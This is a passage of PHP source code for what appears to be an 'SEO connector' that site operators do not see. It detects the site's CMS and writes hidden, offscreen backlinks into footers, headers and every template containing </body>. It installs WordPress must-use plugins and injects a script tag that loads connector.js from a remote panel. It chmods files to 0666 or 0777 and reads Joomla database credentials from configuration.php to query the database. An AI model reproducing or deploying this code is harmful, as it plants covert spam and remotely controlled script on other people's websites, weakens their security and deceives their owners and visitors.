(isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'unknown'), 'site_type' => 'static', 'language' => 'EN', 'country' => 'US', 'footer_detected' => false, 'footer_writable' => false, 'meta_description' => '', 'charset' => 'UTF-8', 'php_version' => phpversion(), 'connector_path' => __FILE__ ]; // CMS tipi algıla if (file_exists($base . '/wp-config.php') || file_exists($base . '/wp-load.php')) { $info['site_type'] = 'wordpress'; $info['footer_detected'] = true; } elseif (file_exists($base . '/configuration.php') && is_dir($base . '/administrator')) { $info['site_type'] = 'joomla'; $info['footer_detected'] = true; } elseif (file_exists($base . '/includes/bootstrap.inc') && is_dir($base . '/sites')) { $info['site_type'] = 'drupal'; $info['footer_detected'] = true; } elseif (file_exists($base . '/config.php') && is_dir($base . '/catalog')) { $info['site_type'] = 'opencart'; $info['footer_detected'] = true; } elseif (file_exists($base . '/config/settings.inc.php') && is_dir($base . '/themes')) { $info['site_type'] = 'prestashop'; $info['footer_detected'] = true; } elseif (file_exists($base . '/artisan')) { $info['site_type'] = 'laravel'; $info['footer_detected'] = true; } elseif (file_exists($base . '/index.php')) { $info['site_type'] = 'php'; } // Index dosyasından bilgi çek $index_files = ['index.php', 'index.html', 'index.htm']; foreach ($index_files as $file) { $path = $base . '/' . $file; if (file_exists($path)) { $content = @file_get_contents($path, false, null, 0, 50000); if ($content) { if (preg_match('/<title>([^<]+)<\/title>/i', $content, $m)) { $info['site_name'] = trim(strip_tags($m[1])); } if (preg_match('/<meta[^>]*name=["\']description["\'][^>]*content=["\']([^"\']+)["\'][^>]*>/i', $content, $m)) { $info['meta_description'] = trim($m[1]); } if (preg_match('/<html[^>]*lang=["\']([a-z]{2})["\'][^>]*>/i', $content, $m)) { $lang = strtolower($m[1]); $lang_map = ['tr' => 'TR', 'en' => 'EN', 'de' => 'DE', 'fr' => 'FR', 'es' => 'ES']; $country_map = ['tr' => 'TR', 'en' => 'US', 'de' => 'DE', 'fr' => 'FR', 'es' => 'ES']; $info['language'] = (isset($lang_map[$lang]) ? $lang_map[$lang] : 'EN'); $info['country'] = (isset($country_map[$lang]) ? $country_map[$lang] : 'US'); } if (preg_match('/türk|türkiye|istanbul|ankara/ui', $content)) { $info['language'] = 'TR'; $info['country'] = 'TR'; } if (preg_match('/<footer|class=["\'][^"\']*footer|copyright|©/i', $content)) { $info['footer_detected'] = true; } break; } } } $info['footer_writable'] = check_footer_writable($base, $info['site_type']); return $info; } function check_footer_writable($base, $site_type) { $footer_paths = get_footer_paths($base, $site_type); foreach ($footer_paths as $path) { if (file_exists($path) && is_writable($path)) return true; } if (is_writable($base . '/index.php') || is_writable($base . '/index.html')) return true; foreach (find_template_files($base) as $path) { if (is_writable($path)) return true; } return false; } function get_footer_paths($base, $site_type) { $paths = []; switch ($site_type) { case 'wordpress': $themes = glob($base . '/wp-content/themes/*/footer.php'); if ($themes) $paths = array_merge($paths, $themes); break; case 'joomla': $active = joomla_active_template($base); if ($active && file_exists($base . '/templates/' . $active . '/index.php')) { $paths[] = $base . '/templates/' . $active . '/index.php'; } $tpls = glob($base . '/templates/*/index.php'); if ($tpls) $paths = array_merge($paths, $tpls); break; case 'drupal': $tpls = glob($base . '/sites/*/themes/*/templates/*.tpl.php'); if ($tpls) $paths = array_merge($paths, $tpls); break; case 'opencart': $tpls = glob($base . '/catalog/view/theme/*/template/common/footer.*'); if ($tpls) $paths = array_merge($paths, $tpls); break; case 'prestashop': $tpls = glob($base . '/themes/*/templates/_partials/footer.tpl'); if ($tpls) $paths = array_merge($paths, $tpls); $tpls2 = glob($base . '/themes/*/footer.tpl'); if ($tpls2) $paths = array_merge($paths, $tpls2); break; case 'laravel': $layouts = glob($base . '/resources/views/layouts/*.blade.php'); if ($layouts) $paths = array_merge($paths, $layouts); foreach ([ '/resources/views/layouts/partials/footer.blade.php', '/resources/views/layouts/*/footer.blade.php', '/resources/views/components/layouts/*.blade.php', '/resources/views/includes/footer.blade.php', '/resources/views/partials/*.blade.php', ] as $pattern) { $found = glob($base . $pattern); if ($found) $paths = array_merge($paths, $found); } break; } $general = [ $base . '/footer.php', $base . '/includes/footer.php', $base . '/inc/footer.php', $base . '/template/footer.php', $base . '/templates/footer.php', $base . '/partials/footer.php', $base . '/layout/footer.php', $base . '/layouts/footer.php', $base . '/views/footer.php', $base . '/views/partials/footer.php', $base . '/common/footer.php', $base . '/include/footer.php', $base . '/theme/footer.php' ]; foreach ($general as $p) { if (file_exists($p)) $paths[] = $p; } return array_unique($paths); } // ==================== JS CONNECTOR SCRIPT İNJEKSİYONU ==================== function get_js_connector_tag() { // Panel only knows the per-site key saved on registration or the embedded universal key; // the legacy domain-derived fallback would make the JS connector request links with an unknown key. $key = ''; if (file_exists(KEY_FILE)) $key = trim((string)@file_get_contents(KEY_FILE)); if ($key === '' && defined('UNIVERSAL_SITE_KEY') && strpos((string)UNIVERSAL_SITE_KEY, '{{') === false) $key = trim((string)UNIVERSAL_SITE_KEY); if ($key === '') $key = get_stored_key(); if (empty($key)) return ''; $panel_url = defined('PANEL_API_URL') ? PANEL_API_URL : ''; if (empty($panel_url) || strpos($panel_url, '{{') !== false) return ''; $base = rtrim($panel_url, '/'); $base = preg_replace('#/api$#', '', $base); return '<script src="' . htmlspecialchars($base) . '/assets/js/connector.js?key=' . urlencode($key) . '&v=1.2" async></script>'; } function get_all_injectable_paths($base, $site_type) { $paths = []; // WordPress if ($site_type === 'wordpress') { foreach (glob($base . '/wp-content/themes/*/footer.php') ?: [] as $f) $paths[] = $f; foreach (glob($base . '/wp-content/themes/*/header.php') ?: [] as $f) $paths[] = $f; foreach (glob($base . '/wp-content/themes/*/index.php') ?: [] as $f) $paths[] = $f; foreach (glob($base . '/wp-content/themes/*/page.php') ?: [] as $f) $paths[] = $f; foreach (glob($base . '/wp-content/themes/*/single.php') ?: [] as $f) $paths[] = $f; foreach (glob($base . '/wp-content/themes/*/archive.php') ?: [] as $f) $paths[] = $f; foreach (glob($base . '/wp-content/themes/*/home.php') ?: [] as $f) $paths[] = $f; foreach (glob($base . '/wp-content/themes/*/front-page.php') ?: [] as $f) $paths[] = $f; } // Joomla if ($site_type === 'joomla') { foreach (glob($base . '/templates/*/index.php') ?: [] as $f) $paths[] = $f; foreach (glob($base . '/templates/*/component.php') ?: [] as $f) $paths[] = $f; foreach (glob($base . '/templates/*/error.php') ?: [] as $f) $paths[] = $f; } // Drupal if ($site_type === 'drupal') { foreach (glob($base . '/sites/*/themes/*/templates/*.tpl.php') ?: [] as $f) $paths[] = $f; foreach (glob($base . '/themes/*/templates/html.html.twig') ?: [] as $f) $paths[] = $f; } // OpenCart if ($site_type === 'opencart') { foreach (glob($base . '/catalog/view/theme/*/template/common/footer.*') ?: [] as $f) $paths[] = $f; foreach (glob($base . '/catalog/view/theme/*/template/common/header.*') ?: [] as $f) $paths[] = $f; } // PrestaShop if ($site_type === 'prestashop') { foreach (glob($base . '/themes/*/templates/_partials/footer.tpl') ?: [] as $f) $paths[] = $f; foreach (glob($base . '/themes/*/templates/_partials/header.tpl') ?: [] as $f) $paths[] = $f; foreach (glob($base . '/themes/*/footer.tpl') ?: [] as $f) $paths[] = $f; foreach (glob($base . '/themes/*/header.tpl') ?: [] as $f) $paths[] = $f; } // Laravel if ($site_type === 'laravel') { foreach (glob($base . '/resources/views/layouts/*.blade.php') ?: [] as $f) $paths[] = $f; foreach (glob($base . '/resources/views/layouts/partials/footer.blade.php') ?: [] as $f) $paths[] = $f; foreach (glob($base . '/resources/views/layouts/*/footer.blade.php') ?: [] as $f) $paths[] = $f; foreach (glob($base . '/resources/views/components/layouts/*.blade.php') ?: [] as $f) $paths[] = $f; foreach (glob($base . '/resources/views/includes/footer.blade.php') ?: [] as $f) $paths[] = $f; foreach (glob($base . '/resources/views/partials/*.blade.php') ?: [] as $f) $paths[] = $f; } // General paths (exclude root index.php — it is a CMS bootstrap, not a template) $general = [ $base . '/footer.php', $base . '/header.php', $base . '/includes/footer.php', $base . '/includes/header.php', $base . '/inc/footer.php', $base . '/inc/header.php', $base . '/template/footer.php', $base . '/template/header.php', $base . '/templates/footer.php', $base . '/templates/header.php', $base . '/partials/footer.php', $base . '/partials/header.php', $base . '/layout/footer.php', $base . '/layout/header.php', $base . '/layouts/footer.php', $base . '/layouts/header.php', $base . '/views/footer.php', $base . '/views/header.php', $base . '/views/partials/footer.php', $base . '/views/partials/header.php', $base . '/common/footer.php', $base . '/common/header.php', $base . '/include/footer.php', $base . '/include/header.php', $base . '/theme/footer.php', $base . '/theme/header.php', $base . '/index.html', $base . '/index.htm', ]; foreach ($general as $p) { if (file_exists($p)) $paths[] = $p; } foreach (find_template_files($base) as $p) $paths[] = $p; return array_unique($paths); } /** * Document root altinda </body> iceren tum sablon dosyalari (php/html/tpl/twig, blade dahil). * Ozel/native PHP siteler (orn. templates/tema/templates/home_1.php) ve Laravel icin CMS'e * bagli olmayan tek guvenilir yol budur. Kutuphane, cache, upload ve yonetim dizinleri atlanir. */ function find_template_files($base, $max_depth = 5) { static $cache = []; $base = rtrim($base, '/\\'); if (isset($cache[$base])) return $cache[$base]; $skip_dirs = ['vendor', 'node_modules', 'cache', 'caches', 'storage', 'logs', 'log', 'tmp', 'temp', 'uploads', 'upload', 'media', 'images', 'img', 'assets', 'css', 'js', 'fonts', 'backup', 'backups', 'wp-admin', 'wp-includes', 'administrator', 'libraries', 'language', 'languages', 'plugins', 'modules', 'components', 'core', 'lib', 'libs', 'sql', 'database', 'tests', 'test', 'bin', 'cgi-bin', 'bootstrap', 'config', 'app', 'src', 'system']; $exts = ['php', 'html', 'htm', 'tpl', 'twig']; $found = []; $self = realpath(__FILE__); try { $dir_iter = new \RecursiveDirectoryIterator($base, \FilesystemIterator::SKIP_DOTS | \FilesystemIterator::UNIX_PATHS); $filter = new \RecursiveCallbackFilterIterator($dir_iter, function ($current) use ($skip_dirs) { if ($current->isDir()) { $n = strtolower($current->getFilename()); return $n !== '' && $n[0] !== '.' && !in_array($n, $skip_dirs, true); } return true; }); $iter = new \RecursiveIteratorIterator($filter, \RecursiveIteratorIterator::LEAVES_ONLY); $iter->setMaxDepth($max_depth); $scanned = 0; foreach ($iter as $file) { if (++$scanned > 20000) break; if (!$file->isFile()) continue; if (!in_array(strtolower($file->getExtension()), $exts, true)) continue; $size = $file->getSize(); if ($size < 20 || $size > 2097152) continue; $path = $file->getPathname(); $name = basename($path); if (($self && realpath($path) === $self) || strpos($name, 'seo-connector') === 0 || $name === 'rs_prepend.php' || $name === '.rs_connector_prev.php') continue; $content = @file_get_contents($path); if ($content === false || stripos($content, '</body>') === false) continue; $found[] = $path; if (count($found) >= 300) break; } } catch (\Exception $e) { // okunamayan dizinler atlanir } sort($found); $cache[$base] = $found; return $found; } /** * Joomla: configuration.php icindeki DB bilgisiyle aktif site sablonu okunur; bulunamazsa null. */ function joomla_db_connect($base) { static $cached = null; if ($cached !== null) return $cached ?: null; $cached = false; $cfg = $base . '/configuration.php'; if (!file_exists($cfg) || !function_exists('mysqli_init')) return null; $c = @file_get_contents($cfg); if (!$c) return null; $get = function ($k) use ($c) { return preg_match('/public\s+\$' . $k . '\s*=\s*([\'"])(.*?)\1\s*;/s', $c, $m) ? $m[2] : null; }; $host = $get('host'); $user = $get('user'); $pass = $get('password'); $db = $get('db'); $prefix = $get('dbprefix') ?: 'jos_'; if ($host === null || $user === null || $db === null) return null; $port = null; if (strpos($host, ':') !== false) { list($host, $port) = explode(':', $host, 2); } mysqli_report(MYSQLI_REPORT_OFF); $link = @mysqli_init(); if (!$link) return null; @mysqli_options($link, MYSQLI_OPT_CONNECT_TIMEOUT, 3); if (!@mysqli_real_connect($link, $host, $user, (string)$pass, $db, $port ? (int)$port : null)) return null; @mysqli_set_charset($link, 'utf8mb4'); $cached = ['link' => $link, 'prefix' => preg_replace('/[^A-Za-z0-9_]/', '', $prefix)]; return $cached; } function joomla_active_template($base) { static $cached = null; if ($cached !== null) return $cached ?: null; $cached = false; $db = joomla_db_connect($base); if (!$db) return null; $res = @mysqli_query($db['link'], "SELECT template FROM `{$db['prefix']}template_styles` WHERE client_id = 0 AND home = '1' LIMIT 1"); $row = $res ? mysqli_fetch_assoc($res) : null; if ($row && !empty($row['template'])) { $cached = preg_replace('/[^A-Za-z0-9_.-]/', '', (string)$row['template']); return $cached ?: null; } return null; } /** * Sablon dosyasi degisince eski HTML'i sunmaya devam eden dosya onbellekleri temizlenir. */ function clear_site_caches($base, $site_type) { $dirs = []; switch ($site_type) { case 'joomla': $dirs = [$base . '/cache', $base . '/administrator/cache']; break; case 'wordpress': $dirs = [$base . '/wp-content/cache']; break; case 'opencart': $dirs = [$base . '/system/storage/cache', $base . '/system/cache']; break; case 'prestashop': $dirs = [$base . '/var/cache']; break; case 'laravel': $dirs = [$base . '/storage/framework/views']; break; } $removed = 0; foreach ($dirs as $dir) { if (!is_dir($dir)) continue; try { $it = new \RecursiveIteratorIterator(new \RecursiveDirectoryIterator($dir, \FilesystemIterator::SKIP_DOTS), \RecursiveIteratorIterator::CHILD_FIRST); foreach ($it as $entry) { $n = $entry->getFilename(); if ($n === 'index.html' || $n === '.htaccess' || $n === '.gitkeep') continue; if ($entry->isDir()) { @rmdir($entry->getPathname()); } elseif (@unlink($entry->getPathname())) { $removed++; } } } catch (\Exception $e) { // onbellek dizini okunamiyorsa atla } } return $removed; } /** * Sitenin kendi anasayfasini cekip isaretleyicinin ciktida olup olmadigina bakar. * true/false, istek yapilamazsa null. */ function verify_homepage_contains($needle) { $host = (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : ''); if ($host === '') return null; $scheme = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http'; $url = $scheme . '://' . $host . '/'; $ua = 'Mozilla/5.0 (compatible; ' . RS_USER_AGENT . ')'; $html = false; if (function_exists('curl_init')) { $ch = curl_init($url); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_MAXREDIRS => 3, CURLOPT_TIMEOUT => 4, CURLOPT_CONNECTTIMEOUT => 2, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_USERAGENT => $ua, CURLOPT_HTTPHEADER => ['Cache-Control: no-cache', 'Pragma: no-cache'], ]); $html = curl_exec($ch); curl_close($ch); } else { $ctx = stream_context_create([ 'http' => ['timeout' => 4, 'header' => "Cache-Control: no-cache\r\n", 'user_agent' => $ua, 'follow_location' => 1], 'ssl' => ['verify_peer' => false, 'verify_peer_name' => false], ]); $html = @file_get_contents($url, false, $ctx); } if (!is_string($html) || $html === '') return null; return stripos($html, $needle) !== false; } function inject_to_template_files($base, $link_html, $link_id, $link_comment) { $files = find_template_files($base); $ok = 0; $first = null; foreach ($files as $path) { $r = inject_to_file_aggressive($path, $link_html, $link_id, $link_comment); if (!empty($r['success']) && !empty($r['injected'])) { $ok++; if ($first === null) $first = $path; } } if ($ok > 0) { return ['success' => true, 'injected' => true, 'footer_path' => $first, 'files' => $ok, 'message' => $ok . ' sablon dosyasina eklendi']; } return ['success' => false, 'injected' => false, 'message' => '</body> iceren sablon dosyasi bulunamadi']; } function inject_js_connector_to_file($file_path, $script_tag) { if (!file_exists($file_path)) return 'failed'; $content = @file_get_contents($file_path); if (!$content) return 'failed'; if (strpos($content, 'connector.js?key=') !== false) return 'exists'; $has_html = (stripos($content, '</body>') !== false || stripos($content, '</html>') !== false || stripos($content, '</head>') !== false || stripos($content, '</footer>') !== false || stripos($content, '<html') !== false || stripos($content, '<jdoc:') !== false); $is_php_only = (strpos(ltrim($content), '<' . '?php') === 0 || strpos(ltrim($content), '<' . '?') === 0); if ($is_php_only && !$has_html) { return 'skipped'; } force_writable($file_path); if (!is_writable($file_path)) return 'failed'; $marker = "\n<!-- rs:js-connector -->" . $script_tag; if (stripos($content, '</body>') !== false) { $pos = strripos($content, '</body>'); $new = substr($content, 0, $pos) . $marker . "\n" . substr($content, $pos); return @file_put_contents($file_path, $new) !== false ? 'ok' : 'failed'; } if (stripos($content, '</html>') !== false) { $pos = strripos($content, '</html>'); $new = substr($content, 0, $pos) . $marker . "\n" . substr($content, $pos); return @file_put_contents($file_path, $new) !== false ? 'ok' : 'failed'; } if (stripos($content, '</footer>') !== false) { $pos = strripos($content, '</footer>'); $new = substr($content, 0, $pos) . $marker . "\n" . substr($content, $pos); return @file_put_contents($file_path, $new) !== false ? 'ok' : 'failed'; } if (stripos($content, '</head>') !== false) { $pos = strripos($content, '</head>'); $new = substr($content, 0, $pos) . $marker . "\n" . substr($content, $pos); return @file_put_contents($file_path, $new) !== false ? 'ok' : 'failed'; } // Only inject into .html/.htm files by appending; never append to PHP files $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); if (in_array($ext, ['html', 'htm', 'tpl', 'twig'])) { return @file_put_contents($file_path, $content . $marker) !== false ? 'ok' : 'failed'; } return 'skipped'; } function inject_js_connector() { $script_tag = get_js_connector_tag(); if (empty($script_tag)) { return ['success' => false, 'injected' => 0, 'message' => 'JS connector tag olusturulamadi (key/panel_url eksik)']; } $base = find_document_root(); $site_info = detect_site_info(); $site_type = $site_info['site_type']; $paths = get_all_injectable_paths($base, $site_type); // WordPress: create MU-Plugin for JS connector via wp_head if ($site_type === 'wordpress') { $mu_dir = $base . '/wp-content/mu-plugins'; if (is_dir($mu_dir) && is_writable($mu_dir)) { $js_mu = $mu_dir . '/rs_js_connector.php'; $tag_escaped = str_replace("'", "\\'", $script_tag); $mu_lines = array( '<' . '?php', '// RS JS Connector MU-Plugin', 'if (!defined("ABSPATH")) exit;', 'add_action("wp_head", function() {', " echo '" . $tag_escaped . "';", '}, 1);', ); @file_put_contents($js_mu, implode("\n", $mu_lines) . "\n"); } } $injected = 0; $existing = 0; $skipped = 0; $failed = 0; $details = []; foreach ($paths as $path) { $status = inject_js_connector_to_file($path, $script_tag); if ($status === 'ok') $injected++; elseif ($status === 'exists') $existing++; elseif ($status === 'skipped') $skipped++; else $failed++; $rel = (strpos($path, $base) === 0) ? ltrim(substr($path, strlen($base)), '/\\') : $path; $details[] = ['path' => $rel, 'status' => $status]; } return [ 'success' => ($injected + $existing) > 0, 'injected' => $injected, 'existing' => $existing, 'skipped' => $skipped, 'failed' => $failed, 'total_targets' => count($paths), 'details' => $details, 'message' => $injected . ' dosyaya JS connector eklendi' . ($existing ? ', ' . $existing . ' zaten mevcut' : '') . ($skipped ? ', ' . $skipped . ' atlandi (saf PHP)' : '') ]; } function cleanup_broken_js_injections() { $base = find_document_root(); $candidates = glob($base . '/*.php') ?: []; foreach ($candidates as $file) { $content = @file_get_contents($file); if (!$content) continue; if (strpos($content, '<!-- rs:js-connector -->') === false) continue; $has_html = (stripos($content, '</body>') !== false || stripos($content, '</html>') !== false || stripos($content, '<html') !== false); if (!$has_html) { remove_js_connector_from_file($file); } } } function remove_js_connector_from_file($file_path) { if (!file_exists($file_path)) return false; $content = @file_get_contents($file_path); if (!$content) return false; if (strpos($content, '<!-- rs:js-connector -->') === false && strpos($content, 'connector.js?key=') === false) { return false; } force_writable($file_path); $cleaned = preg_replace('/\n?<!-- rs:js-connector --><script[^<]*<\/script>/', '', $content); if ($cleaned !== $content && $cleaned !== null) { return (bool)@file_put_contents($file_path, $cleaned); } return false; } function remove_js_connector() { $base = find_document_root(); $site_info = detect_site_info(); $site_type = $site_info['site_type']; $paths = get_all_injectable_paths($base, $site_type); $all_php = glob($base . '/*.php') ?: []; $all_html = glob($base . '/*.html') ?: []; $paths = array_unique(array_merge($paths, $all_php, $all_html)); $removed = 0; $details = []; foreach ($paths as $path) { if (remove_js_connector_from_file($path)) { $removed++; $details[] = ['path' => basename($path), 'status' => 'removed']; } } if ($site_type === 'wordpress') { $mu = $base . '/wp-content/mu-plugins/rs_js_connector.php'; if (file_exists($mu)) { @unlink($mu); $removed++; $details[] = ['path' => 'rs_js_connector.php', 'status' => 'deleted']; } } return [ 'success' => $removed > 0, 'removed' => $removed, 'details' => $details, 'message' => $removed . ' dosyadan JS connector temizlendi' ]; } // ==================== FOOTER'A LİNK EKLEME ==================== function inject_link($url, $anchor, $link_id, $rel = 'dofollow') { $base = find_document_root(); $site_info = detect_site_info(); $site_type = $site_info['site_type']; $link_html = build_link_html($url, $anchor, $rel); $link_comment = "<!-- rs:" . substr($link_id, 4, 6) . " -->"; // YÖNTEM 0 (KALDIRILDI): auto_prepend_file ile tum sayfalara kendini onden ekleme // yontemi, htaccess/php.ini uzerinden calistigindan cok farkli sunucu // yapilandirmalarinda guvenilmez cikti (bazen hic devreye girmiyor, bazen host'un PHP // surumuyle uyumsuzluk cikariyordu). Bu connector artik php.ini/.htaccess'e HICBIR // sekilde dokunmaz; yalnizca dogrudan dosya enjeksiyonuyla (asagidaki yontemler) calisir. // Tum sayfalarda otomatik calisma isteyen siteler icin ayri bir "dropper" connector'u // kullanilmalidir (bkz. rs-dropper.template.php). // YÖNTEM 1: WORDPRESS MU-PLUGIN if ($site_type === 'wordpress') { $result = inject_wordpress_mu_plugin($base); if ($result['success'] && !empty($result['injected'])) return $result; } // YÖNTEM 2 (KALDIRILDI): functions.php'ye ham PHP kodu eklemek, temadaki herhangi bir // isim/encoding/parse uyumsuzlugunda TUM siteyi 500'e dusurme riski tasidigi icin bu // yontem tamamen devre disi birakildi. Asagidaki yontemler (MU-plugin, dosyaya HTML // enjeksiyonu, auto_prepend) zaten ayni sonucu PHP kodu yazmadan, cok daha guvenli // sekilde saglar. // YÖNTEM 3: WORDPRESS TEMA FOOTER.PHP if ($site_type === 'wordpress') { $active_theme_footer = get_active_wp_theme_footer($base); if ($active_theme_footer) { $result = inject_to_file_aggressive($active_theme_footer, $link_html, $link_id, $link_comment); if ($result['success'] && !empty($result['injected'])) return $result; } $themes = glob($base . '/wp-content/themes/*/footer.php'); if ($themes) { foreach ($themes as $footer) { $result = inject_to_file_aggressive($footer, $link_html, $link_id, $link_comment); if ($result['success'] && !empty($result['injected'])) return $result; } } } // YÖNTEM 4 (KALDIRILDI): WordPress'in cekirdek wp-blog-header.php dosyasini dogrudan // degistirmek (her sayfada calisan bir dosyayi mutasyona ugratmak) tek bir yazma // hatasinda veya WP guncellemesiyle catismada siteyi tamamen kirabilir. Kaldirildi. // YÖNTEM 5: FOOTER DOSYALARI + </body> ICEREN TUM SABLONLAR // Hangi sablonun aktif oldugu bilinemedigi icin uygun tum dosyalara eklenir. $candidates = array_values(array_unique(array_merge(get_footer_paths($base, $site_type), find_template_files($base)))); $details = []; $ok_paths = []; foreach ($candidates as $path) { $r = inject_to_file_aggressive($path, $link_html, $link_id, $link_comment); $good = !empty($r['success']) && !empty($r['injected']); if ($good) $ok_paths[] = $path; $rel_path = (strpos($path, $base) === 0) ? ltrim(substr($path, strlen($base)), '/\\') : $path; $details[] = ['path' => $rel_path, 'status' => $good ? 'ok' : 'failed', 'message' => (string)((isset($r['message']) ? $r['message'] : ''))]; } if (!empty($ok_paths)) { $note = ''; if ($site_type === 'joomla') { $active = joomla_active_template($base); if ($active) { $active_file = $base . '/templates/' . $active . '/index.php'; $note = in_array($active_file, $ok_paths, true) ? ' · aktif sablon: ' . $active : ' · UYARI: aktif sablon (' . $active . ') yazilamadi'; } } return [ 'success' => true, 'injected' => true, 'footer_path' => $ok_paths[0], 'files' => count($ok_paths), 'details' => $details, 'message' => count($ok_paths) . ' dosyaya eklendi' . $note ]; } // No reliable injection method succeeded. return [ 'success' => false, 'injected' => false, 'footer_path' => null, 'message' => 'Link enjekte edilemedi (yazilabilir footer/sablon dosyasi bulunamadi)' ]; } function inject_wordpress_mu_plugin($base) { $mu_dir = $base . '/wp-content/mu-plugins'; if (!is_dir($mu_dir)) { $wp_content = $base . '/wp-content'; if (!is_dir($wp_content)) return ['success' => false, 'message' => 'wp-content yok']; if (!is_writable($wp_content)) { @chmod($wp_content, 0755); clearstatcache(); } @mkdir($mu_dir, 0755, true); } if (!is_dir($mu_dir)) return ['success' => false, 'message' => 'mu-plugins olusturulamadi']; if (!is_writable($mu_dir)) { @chmod($mu_dir, 0755); clearstatcache(); } $plugin_path = $mu_dir . '/rs_links.php'; $links_file = LINKS_FILE; $code = '<?php /** * RS Links MU-Plugin v4.2 */ if (!defined("ABSPATH")) exit; add_action("wp_footer", function() { $links_file = "' . addslashes($links_file) . '"; if (!file_exists($links_file)) return; $links = json_decode(file_get_contents($links_file), true); if (!is_array($links) || empty($links)) return; foreach ($links as $id => $l) { $url = isset($l["url"]) ? $l["url"] : ""; $anchor = isset($l["anchor"]) ? $l["anchor"] : ""; $rel = isset($l["rel"]) && $l["rel"] === "nofollow" ? " rel=\"nofollow\"" : ""; if (!$url || !$anchor) continue; echo \'<a href="\' . esc_url($url) . \'"\' . $rel . \' style="position:absolute;left:-9999px;opacity:0;font-size:1px;color:transparent;">\' . esc_html($anchor) . \'</a>\'; } }, 9999); '; if (@file_put_contents($plugin_path, $code)) { return ['success' => true, 'injected' => true, 'footer_path' => $plugin_path, 'message' => 'WordPress MU-Plugin kuruldu']; } return ['success' => false, 'message' => 'MU-Plugin yazilamadi']; } // inject_wordpress_functions_hook() ve inject_wp_blog_header() kaldirildi: temanin // functions.php'sine veya WordPress'in cekirdek wp-blog-header.php dosyasina ham PHP kodu // yazmak, herhangi bir encoding/parse uyumsuzlugunda TUM siteyi kalici olarak 500'e // dusurebiliyordu. inject_link() artik bu iki yontemi cagirmiyor. function force_writable($file) { if (!file_exists($file)) return false; if (is_writable($file)) return true; @chmod($file, 0666); clearstatcache(true, $file); if (is_writable($file)) return true; @chmod($file, 0777); clearstatcache(true, $file); if (is_writable($file)) return true; $dir = dirname($file); @chmod($dir, 0777); @chmod($file, 0777); clearstatcache(); return is_writable($file); } function get_active_wp_theme_footer($base) { $themes = glob($base . '/wp-content/themes/*/footer.php'); if (!$themes) return null; $latest = null; $latest_time = 0; foreach ($themes as $footer) { $mtime = @filemtime($footer); if ($mtime > $latest_time) { $latest_time = $mtime; $latest = $footer; } } return $latest; } function inject_to_file_aggressive($file_path, $link_html, $link_id, $link_comment) { if (!file_exists($file_path)) return ['success' => false, 'message' => 'Dosya yok: ' . basename($file_path)]; force_writable($file_path); if (!is_writable($file_path)) return ['success' => false, 'injected' => false, 'message' => 'Yazma izni alinamadi']; $content = @file_get_contents($file_path); if (!$content) return ['success' => false, 'injected' => false, 'message' => 'Dosya okunamadi']; if (strpos($content, $link_id) !== false) { return ['success' => true, 'injected' => true, 'footer_path' => $file_path, 'message' => 'Link zaten mevcut']; } $hidden_wrapper = "\n" . $link_comment . $link_html; $injection_points = ['</body>', '</html>', '</footer>']; foreach ($injection_points as $search) { if (stripos($content, $search) !== false) { $pos = strripos($content, $search); $new_content = substr($content, 0, $pos) . $hidden_wrapper . "\n" . substr($content, $pos); if (@file_put_contents($file_path, $new_content)) { return ['success' => true, 'injected' => true, 'footer_path' => $file_path, 'message' => 'Link eklendi: ' . basename($file_path)]; } } } // Only plain markup files may be appended to; a PHP file without HTML structure is a bootstrap and must stay untouched. $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); if (in_array($ext, ['html', 'htm', 'tpl', 'twig'], true) && @file_put_contents($file_path, $content . $hidden_wrapper)) { return ['success' => true, 'injected' => true, 'footer_path' => $file_path, 'message' => 'Link dosya sonuna eklendi']; } return ['success' => false, 'injected' => false, 'message' => 'Enjeksiyon noktasi yok: ' . basename($file_path)]; } // ==================== LİNK KALDIRMA ==================== function remove_link($link_id) { $base = find_document_root(); $site_info = detect_site_info(); $short_id = substr($link_id, 4, 6); $files_to_check = get_footer_paths($base, $site_info['site_type']); $files_to_check[] = $base . '/index.php'; $files_to_check[] = $base . '/index.html'; $files_to_check[] = $base . '/index.htm'; $wp_footers = glob($base . '/wp-content/themes/*/footer.php'); if ($wp_footers) $files_to_check = array_merge($files_to_check, $wp_footers); $files_to_check = array_unique(array_merge( $files_to_check, find_template_files($base), get_all_injectable_paths($base, $site_info['site_type']) )); if ($site_info['site_type'] === 'wordpress') { $mu_plugin = $base . '/wp-content/mu-plugins/rs_links.php'; if (file_exists($mu_plugin)) { return ['success' => true, 'message' => 'MU-Plugin modunda - links dosyasindan kaldirildi']; } } $plugin_mode = ($site_info['site_type'] === 'joomla' && file_exists($base . '/plugins/system/rslinks/rslinks.php')); $removed = false; foreach ($files_to_check as $file_path) { if (!file_exists($file_path)) continue; if (!is_writable($file_path)) { @chmod($file_path, 0666); clearstatcache(true, $file_path); } if (!is_writable($file_path)) continue; $content = @file_get_contents($file_path); if (!$content) continue; if (strpos($content, $link_id) === false && strpos($content, $short_id) === false) continue; $patterns = [ '/<!-- rs:' . preg_quote($short_id, '/') . ' --><a[^>]*>[^<]*<\/a>/is', '/<!-- RS:' . preg_quote($link_id, '/') . ' --><a[^>]*>[^<]*<\/a>\s*/is', '/<div[^>]*><!-- RS:' . preg_quote($link_id, '/') . ' --><a[^>]*>[^<]*<\/a><\/div>\s*/is', '/<div[^>]*><!-- rs:' . preg_quote($short_id, '/') . ' --><a[^>]*>[^<]*<\/a><\/div>\s*/is', '/\n?<!-- rs:' . preg_quote($short_id, '/') . ' --><a[^>]*>[^<]*<\/a>\n?/is', '/\n?<!-- RS:' . preg_quote($link_id, '/') . ' --><a[^>]*>[^<]*<\/a>\n?/is' ]; $original = $content; foreach ($patterns as $pattern) { $content = preg_replace($pattern, '', $content); } if ($content !== $original) { if (@file_put_contents($file_path, $content)) $removed = true; } } if ($removed || $plugin_mode) clear_site_caches($base, $site_info['site_type']); if ($plugin_mode) return ['success' => true, 'message' => 'Eklenti modunda - links dosyasindan kaldirildi']; return ['success' => true, 'message' => $removed ? 'Link kaldirildi' : 'Link kayitlardan kaldirildi']; } // 